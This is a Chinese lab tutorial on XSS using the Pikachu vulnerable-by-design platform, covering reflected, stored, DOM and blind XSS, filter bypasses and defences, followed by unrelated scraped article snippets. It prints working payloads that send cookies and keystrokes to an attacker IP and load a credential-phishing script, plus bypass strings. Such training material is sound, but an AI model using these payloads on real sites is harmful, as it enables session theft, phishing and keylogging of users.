Pikachu漏洞练习平台实验——XSS（二）

概述
反射型XSS(get)
XSS案例：盗取Cookie
反射型XSS(post)
存储型XSS
XSS案例：钓鱼攻击
XSS案例：键盘记录
DOM型XSS
DOM型XSS-X
XSS之盲打
XSS之过滤
XSS之htmlspecialchars
XSS常见防范措施
XSS之href输出
XSS之js输出

概述

简介

XSS是一种发生在Web前端的漏洞，所以其危害的对象也主要是前端用户

XSS漏洞可以用来进行钓鱼攻击、前端js挖矿、盗取用户cookie，甚至对主机进行远程控制

攻击流程

假设存在漏洞的是一个论坛，攻击者将恶意的JS代码通过XSS漏洞插入到论文的某一页面中

当用户访问这个页面时，都会执行这个恶意的JS代码，这个代码就会在用户的浏览器端执行

XSS攻击类型

危害：存储型 > 反射型 > DOM型

  • 反射型：交互的数据一般不会被存在数据库里面，一次性，所见即所得，一般出现在查询页面等
  • 存储型：交互的数据会被存在数据库里面，永久性存储，一般出现在留言板，注册等页面
  • DOM型：不与后台服务器产生数据交互，是一种通过DOM操作前端代码输出的时候产生的问题，一次性，也属于反射型

XSS形成原因

形成XSS漏洞的主要原因是程序中输入和输出的控制不够严格

导致“精心构造”的脚本输入后，在输出到前端时被浏览器当作有效代码解析执行

XSS漏洞测试流程

①在目标上找输入点，比如查询接口、留言板

②输入一组 “特殊字符（>，‘，"等）+唯一识别字符” ，点击提交后，查看返回源码，看后端返回的数据是否有处理

③通过搜索定位到唯一字符，结合唯一字符前后语法确定是否可以构造执行js的条件（构造闭合）

④提交构造的脚本代码（以及各种绕过姿势），看是否可以成功执行，如果成功执行则说明存在XSS漏洞

反射型XSS(get)

我们先输入“ ‘"<>6666 ” 用于测试我们的输入会不会被过滤掉，因为有特殊字符

还有我们的输入会不会被输出，输出会不会被处理

下面我们查看一下页面源码

我们的输入被原封不动地输出到了 p 标签中

下面测试我们输入的JS代码，看是否会原封不动地输出，payload如下

<script>alert("xss")</script>

由于前端对输入长度做了限制，我们需要修改一下才能输入完整的payload

提交之后发现我们的payload在浏览器上成功执行了

我们查看源码可以发现，我们输入的payload嵌入了到了 p 标签里面

这又是正确的JS代码，所以被浏览器正确执行了

这是一个简单的反射型XSS，从前端输入由后端接受再输出

后端没有对这个内容进行存储

另外，这是一个GET型的XSS漏洞，一般将带有XSS的URL伪装后发送给目标即可

如果是POST型的XSS，无法直接使用URL的方式进行攻击

XSS案例：盗取Cookie

实验机器

  • 攻击者192.168.171.129
  • 受害者192.168.171.1
  • 漏洞服务器192.168.171.133

攻击流程

先在Kali上搭建XSS后台，将pikachu项目源码放到Kali机器的/var/www/html文件夹中

启动MySQL和Apache服务

service apache2 start
service mysql start

Kali中MySQL的root账号的密码为root，可以根据实际情况配置 /var/www/html/pikachu/pkxss/inc/config.inc.php 中的数据库信息

访问 http://localhost/pikachu ，访问管理工具里的XSS后台，初始化数据库

看到下面的界面就是成功了

然后进入登录界面、登录

如果碰到连不上数据库的情况，可以尝试执行下面的命令

# 进入MySQL shell
mysql -u root -proot
# 增加权限
grant all privileges on *.* to ‘root‘@‘%‘ identified by ‘root‘;
# 刷新权限
flush privileges;?
# 退出MySQL shell
quit

修改/var/www/html/pikachu/pkxss/xcookie下的cookie.php，将IP地址改为漏洞服务器的地址

cookie.php用于接收受害者的cookie，然后将页面重定向到漏洞服务器的index页面，我们构造的Payload如下

<script>document.location = ‘http://192.168.171.129/pikachu/pkxss/xcookie/cookie.php?cookie=‘ + document.cookie;</script>

当用户提交的时候，我们就能取得用户的Cookie

由于是GET类型的XSS漏洞，我们可以直接构造一个带有Payload的URL，诱使受害者点击就能取得Cookie

http://192.168.171.133/pikachu/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location+%3D+%27http%3A%2F%2F192.168.171.129%2Fpikachu%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27+%2B+document.cookie%3B%3C%2Fscript%3E&submit=submit

反射型XSS(post)

我们登录一下，默认账号密码是admin 123456

会得到以下界面

这里是以POST的方式提交的，参数内容不会出现在URL中，可以抓包看一下

这时候我们不能直接把我们的恶意代码嵌入到URL中

攻击思路如下

我们需要自己搭一个恶意站点，然后在网站上放一个post表单

将存放POST表单的链接发送给受害者，诱导受害者点击

这个POST表单会向漏洞服务器提交一个POST请求，实现受害者帮我们提交POST请求的目的

实验机器：

攻击者192.168.171.129

受害者192.168.171.1

漏洞服务器192.168.171.133

这个POST表单页面是位于攻击者的Kali机器上 /var/www/html/pikachu/pkxss/xcookie 下名为 post.html 的文件

我们需要修改里面 漏洞服务器 和 攻击者 的服务器地址

post.html页面的作用是：当用户访问这个页面时，会自动向漏洞服务器发送POST请求，然后重定向到漏洞服务器的index页面

http://192.168.171.129/pikachu/pkxss/xcookie/post.html

我们只需要诱导受害者点击上面的链接就能窃取用户的Cookie

存储型XSS

存储型XSS和反射型XSS形成的原因是一样的，不同的是存储型XSS下攻击者的可以将脚本注入到后台存储起来，构成更加持久的危害

我们试着在皮卡丘平台上的XSS上留言，看看是否有什么过滤机制

我们发现我们的留言会一直存在，而且从表现上我们输入的内容直接输出了

下面通过源码观察

我们输入的东西，也直接输出在 p 标签中，看起来没有经过任何转义和处理

下面输入下面的Payload进行测试

<script>alert("xss")</script>

成功弹窗

XSS案例：钓鱼攻击

我们这里用一个Basic认证去做这个钓鱼攻击

我们在一个存在XSS漏洞的页面上面嵌入一个恶意请求，当用户打开这个页面时

这个页面就会像攻击者的服务器发送请求，这个请求会返回一个Basic认证的头部

这时候会弹出一个提示框，要求受害者输入账号密码，从而盗取用户的账号密码

实验机器

攻击者192.168.171.129

受害者192.168.171.1

漏洞服务器192.168.171.133

首先攻击者需要构造一个钓鱼页面，用来将发送Basic认证的认证框

修改 /var/www/html/pikachu/pkxss/xfish 下的 fish.php 文件，将IP地址改为攻击者的服务器地址

构造的Payload如下

<script src="http://192.168.171.129/pikachu/pkxss/xfish/fish.php"></script> 

当用户访问这个留言板时，会出现下面的认证框

上面已经提示密码不会发给正在浏览的网站，如果用户不注意还是可能上当

用户输入的账号密码就已经存到了我们的数据库里

XSS案例：键盘记录

实验前先了解一下跨域

什么是跨域

当协议、主机（主域名、子域名）、端口中的任意一个不同时，称为不同域

我们把不同域之间请求数据的操作，称为跨域操作

跨域-同源策略

为了安全考虑，所有的浏览器都约定了“同源策略”。同源策略规定：

两个不同域之间不能使用JS进行互相操作

比如：x.com 域名下的 JS 并不能操作 y.com 域下的对象

如果想要跨域操作，则需要管理员进行特殊配置

比如通过头里面：header("Access-Control-Allow-Origin:x/com") 指定跨域的地址

下面的标签跨域加载资源（资源类型时有限制的）是不受同源策略限制的

  • <script src="...">，JS加载到本地执行
  • <img src="..">，图片
  • <link href="..">，CSS
  • <iframe src="..">，任意资源

为什么要同源策略

A登录了淘宝，攻击者向A发送了一个恶意链接http://盗取cookie

如果没有同源策略，url上的js恶意操作A的内容

有了同源策略，就限制了这种状况

或者，一个恶意站点A使用了 <iframe src="B站点登录界面"> ，发送该恶意 url 给受害者

如果受害者浏览器如果没有同源策略，那么 A 上的 JS 即可获取 B 站点的登录信息

实验

Kali机器上先修改 /var/www/html/pikachu/pkxss/rkeypress 下 rk.js 中的IP地址

rk.js 是攻击代码，我们可以把这个 js 文件放到我们的恶意站点上，然后通过有 XSS 漏洞的页面去调用

这个文件可以记录用户的键盘操作，然后异步发送给攻击者

但是这个违背了同源策略，因为我们攻击者的机器和漏洞服务器的主机是不一样的

AJAX的请求默认情况下是不能跨域的，这个请求默认情况下是会失败的

去 /var/www/html/pikachu/pkxss/rkeypress 中 rkserver.php 注释掉下面的代码

我们可以用下面的Payload测试一下

<script src="http://192.168.171.129/pikachu/pkxss/rkeypress/rk.js"></script>

提交之后打开控制台，看一下网络请求，我们在页面上随便输入一些东西，会有下面的提示

 

由于 192.168.171.129 是攻击者自己搭建的平台，攻击者可以允许所有人来跨域请求，下面我们把刚刚注释的代码打开

这时候再在浏览器上输入东西，就没有任何提示了，我们也在一直向攻击者的服务器发送数据

攻击者也收集到了我们的击键信息

DOM型XSS

DOM可以理解为访问HTML的标准接口，DOM里面会把我们的HTML分成一个DOM树

可以参考：https://www.w3school.com.cn/htmldom/index.asp

我们可以以这棵树为入口，通过DOM的某些方法对树进行操作，比如对标签的添加、改变和删除等等

DOM这个东西相当于在前端提供了一个通过JS去对HTML进行操作的接口

下面我们在皮卡丘平台上的DOM型XSS上测试一下

输入图中的内容，观察到如下输出，发现和输入的内容有区别

下面通过观察页面源码

这里有段JS代码，它通过 getElementById 获取到了标签 Id 为 text的内容赋值给str

然后又把 str 的内容通过字符串拼接的方式写到了 a 标签的 href 属性中，a标签会写到 Id 为 dom的 div 标签中

我们通过闭合的方式构造Payload

构造的Payload如下

#‘ onclick=alert("xss")>

成功弹窗

造成DOM型XSS的原因是前端的输入被DOM给获取到了，通过DOM又在前端输出，跟反射型和存储型比起来，它是不经过后台交互的

DOM型XSS-X

我们随便输入一些内容，会多出下面一句话

下面观察下面源码

这里也有个JS代码，它定义了一个domxss函数

它利用 window.location.search 获取浏览器中URL的内容，然后赋值给 str

然后经过URL解码和字符串分隔，取出URL中的参数内容

再把 “+” 替换为 “ ”（空格），赋值给 xss

最后把 xss 拼接到 a 标签中，然后写到 Id 为 dom 的 div 标签中

跟前面的DOM不同的是，它的输入是从浏览器的URL中获取的，很像反射型XSS(get)

构造的Payload跟刚才是一样的

#‘ onclick=alert("xss")>

XSS之盲打

XSS盲打不是攻击类型，而是一个攻击场景

在皮卡丘平台上，我们随便输入一些东西

提交后我们输入的内容不会在前对输出，而是提交到了后台，可能管理员会去看

如果我们输入一个JS代码，管理员登录后台管理界面，如果后台把我们的内容输出

那后台管理员可能遭受到我们的XSS攻击，我们提交以下内容

并登录后台管理界面（账号密码为admin，123456）

http://192.168.171.133/pikachu/vul/xss/xssblind/admin_login.php

一登录进来就遭受了XSS攻击

XSS之过滤

实际中的系统，或多或少都会做一些安全措施，但是这些安全措施也能方法、逻辑不严谨，可以被绕过

转换的思路

  • 前端限制绕过，直接抓包重放，或者修改html前端代码。比如反射型XSS(get)中限制输入20个字符。
  • 大小写，比如<SCRIPT>aLeRT(111)</sCRIpt>。后台可能用正则表达式匹配，如果正则里面只匹配小写，那就可能被绕过。
  • 双写（拼凑），<scri<script>pt>alert(111)</scri</script>pt>。后台可能把<script>标签去掉换，但可能只去掉一次。
  • 注释干扰，<scri<!--test-->pt>alert(111)</sc<!--test-->ript>。加上注释后可能可以绕过后台过滤机制。

编码的思路

核心思路：

  • 后台过滤了特殊字符，比如<script>标签，但该标签可以被各种编码，后台不一定过滤
  • 当浏览器对该编码进行识别时，会翻译成正常的标签，从而执行

编码应该在输出点被正常识别和翻译，不能随便使用编码。

例子：

<img src=x onerror=alert(‘xss‘)>
将alert(‘xss‘)进行URL编码，可以执行吗？
<img src=x onerror=alert%28%27xss%27%29>

它并不会执行，因为属性标签并不会正常解析这些编码

<img src=x onerror=alert(‘xss‘)>
将alert(‘xss‘)进行HTML编码
<img src=x onerror=alert('xss')>

当它输出到前端的时候，浏览器会对这个编码进行翻译，从而弹窗

XSS绕过的姿势很多，取决于你的思路和对前端技术的掌握程度

我们在皮卡丘平台上，输入下面的内容看一下后台会怎么处理

可以看到我们输入的<script>标签被去掉了

尝试用大小写混合的方式看看能否绕过

<SCRIPT>alert(111)</sCRIpt>

这时候成功弹窗，后端只对小写的script进行过滤

也可以用别的攻击Payload，后台可能没有做处理

<img src=x onerror=alert(‘xss‘)>

XSS之htmlspecialchars

关于htmlspecialchars()函数

htmlspecialchars()是PHP里面把预定义的字符转换为HTML实体的函数

预定义的字符是

  • & 成为 &amp
  • " 成为 &quot
  • ‘ 成为 &#039
  • < 成为 &lt
  • > 成为 &gt

可用引号类型

  • ENT_COMPAT：默认，仅编码双引号
  • ENT_QUOTES：编码双引号和单引号
  • ENT_NOQUOTES：不编码任何引号

我们在皮卡丘平台上输入下面的内容，看一下后端是怎么处理的

我们输入的内容经过了HTML编码

可以看到 “ " ”，“ > ”和“ < ”都经过了编码，剩下的字符没有，单引号依然可以使用

我们可以构造下面的Payload，我们在Payload前后都添加一个单引号用于闭合 href 中的单引号

‘ onclick=alert(1111) ‘

XSS常见防范措施

总的原则：输入做过滤，输出做转义

  • 过滤：根据业务需求进行过滤，比如输入点要求输入手机号，则只允许输入手机号格式的数字
  • 转义：所有输出到前端的数据根据输出点进行转义，比如输出到html中进行html实体转义，输入到JS里面进行JS转义

XSS之href输出

看一下xss_03.php的源码

这个页面会接收我们的输入的message，然后判断我们输入的网址，如果输入的不是百度会对我们输入的内容用 htmlspecialchars() 进行处理

这个函数转义单引号、双引号和左右尖括号

然后输出到 a 标签的 href 属性中，在 a 标签的href属性中，可以用javascript协议来执行JS

构造Payload如下，没有上面被转义的字符

javascript:alert(111)

提交后查看源码，我们的输入在 a 标签的 href属性中

此时点击我们的标签就会出现弹窗

如果要对 href 做处理，一般有两个逻辑：

  • 输入的时候只允许 http 或 https 开头的协议，才允许输出
  • 其次再进行htmlspecialchars处理

XSS之js输出

我们随便输入一些东西，然后查看一下页面源码

它会把我们的输入放到JS中，然后对这个变量进行判断，然后再输出

我们可以构造一个闭合，先用一个单引号和</script>闭合掉页面中的<script>，然后再插入自己的JS代码

‘</script><script>alert(‘xss‘)</script>

这时候我们的JS也被执行了

这个漏洞的输出点是在JS中，通过用户的输入动态生成了JS代码

JS有个特点，它不会对实体编码进行解释，如果想要用htmlspecialchars对我们的输入做实体编码处理的话

在JS中不会把它解释会去，这样解决了XSS问题，但不能构成合法的JS

所以在JS的输出点应该对应该使用 \ 对特殊字符进行转义

原文地址：https://www.cnblogs.com/dogecheng/p/11556221.html

时间： 2024-08-01 00:50:05

Pikachu漏洞练习平台实验——XSS（二）的相关文章

Pikachu漏洞练习平台实验——RCE（五）

1.概述 RCE(Remote Command/Code Execute) 给攻击者向后台服务器远程注入操作系统命令或者代码,从而控制后台系统. 远程系统命令执行一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口比如我们常见的路由器.防火墙.入侵检测等设备的web管理界面上一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果. 如果设计者在完成该功能时,没有做严格的安全控制,则可能会

各种Web漏洞测试平台

Sqli Lab?支持报错注入.二次注入.盲注.Update注入.Insert注入.Http头部注入.二次注入练习等.支持GET和POST两种方式. https://github.com/Audi-1/sqli-labs DVWA (Dam Vulnerable Web Application)DVWA是用PHP+Mysql编写的一套用于常规WEB漏洞教学和检测的WEB脆弱性测试程序.包含了SQL注入.XSS.盲注等常见的一些安全漏洞.http://www.dvwa.co.uk/ mutilli

吐槽国内各大公司的漏洞报告平台

现在国内众测平台,越来越多.乌云,估计大家都知道,一提到漏洞平台,差不多瞬间想到的就是乌云吧,其他的也不是,威客众测,补天,TSRC,ASRC,BSRC.Sebug感觉现在都不行了,负面新闻太多了. 现在火的,估计也就是乌云,乌云核心白帽子多,粉多,喷子也多,所以就一直火.威客众测也不错,提交漏洞,还可以赚钱,还合法. 国内外有哪些漏洞信息发布平台? 高质量,更新及时,反应迅速的那种 比如:exploits-db.cve和赛门铁壳安全中心 或者说像乌云之类的安全应急响应平台 国内的主要包括: C

传感器仿真平台——实验环境配置（四）

实验环境配置,最初的想法是这样: 要有一个类,专门管理各种各样的实验环境参数,如场地长.宽等,为了方便起见,可以在该类的构造函数中进行文件读取,将外部xml作为配置文件加载各类参数.这样的话,使用的时候就可以如下这么做: Config config = new Config();//这个是我说的环境配置管理类 var width = config.width; 但是对于框架来说,这个方法看似好用,实际上却很难做到,为什么?参数不确定呀,不同的实验有不同种类的参数,实验一的参数是长.宽.实验二的是

实验十二

实验十二  图形程序设计 实验时间 2018-11-14 第一部分:理论知识 1.AWT与Swing简介 (1)Swing用户界面库是非基于对等体的GUI工具箱. ? Swing具有更丰富并且更方便的用户界面元素集合. ? Swing对底层平台的依赖很少,因此与平台相关的bug很少. ? Swing会带来交叉平台上的统一视觉体验. ? Swing类库被放在javax.swing包里. (2)两者之间的关系: 大部分AWT组件都有其Swing的等价组件. Swing组件的名字一般是在AWT组件名前

教育行业漏洞报告平台（Beta）数据爬取分析

解决问题 对教育漏洞提交平台的漏洞相关数据进行分析. 内容与要求 爬取网站提交的漏洞的相关信息,对每年漏洞数量,漏洞类型变化,漏洞类型比例,提交漏洞排名,存在漏洞数最多等方面进行统计分析,并可视化 使用工具 Requests 用于爬取页面 BeautifulSoup用于页面分析 Pandas用于数据分析 Time 用于爬取时进度条显示进度 tqdm用于爬取时进度条显示进度 matplotlib用于数据可视化,绘制统计图 wordcloud 用于数据可视化,绘制云图 爬取数据 网站分析 1.网站为

PHP漏洞全解(四)-xss跨站脚本攻击

本文主要介绍针对PHP网站的xss跨站脚本攻击.跨站脚本攻击是通过在网页中加入恶意代码,当访问者浏览网页时恶意代码会被执行或者通过给管理员发信息 的方式诱使管理员浏览,从而获得管理员权限,控制整个网站.攻击者利用跨站请求伪造能够轻松地强迫用户的浏览器发出非故意的HTTP请求,如诈骗性的电汇 请求.修改口令和下载非法的内容等请求. XSS(Cross Site Scripting),意为跨网站脚本攻击,为了和样式表css(Cascading Style Sheet)区别,缩写为XSS 跨站脚本主要

SQL群集实验（二）

6)MCCS群集安装 先关闭节点2,启动节点2.然后在节点1上打开服务器管理器添加故障转移群集功能. 然后在节点2上执行同样的操作.两个节点都安装故障转移群集功能以后,在节点1打开故障转移群集管理器,创建一个新的群集 完成后,创建MSDTC服务,同样在故障转移群集控制台,右键"服务和应用程序",打开"配置服务或应用程序"进行配置 配置完成后手工切换MSDTC资源组从一个节点到另外一个节点的移动.移动操作可以反复做几次.最后可以MSDTC活动节点关机,再在另一台节点上

操作系统实验报告二

  操作系统实验报告二 姓名:许恺 学号:2014011329 日期:10月14日 题目1:编写线程池 关键代码如下: 1.Thread.h #pragma once #ifndef __THREAD_H #define __THREAD_H #include <vector> #include <string> #include <pthread.h> #pragma comment(lib,"x86/pthreadVC2.lib") using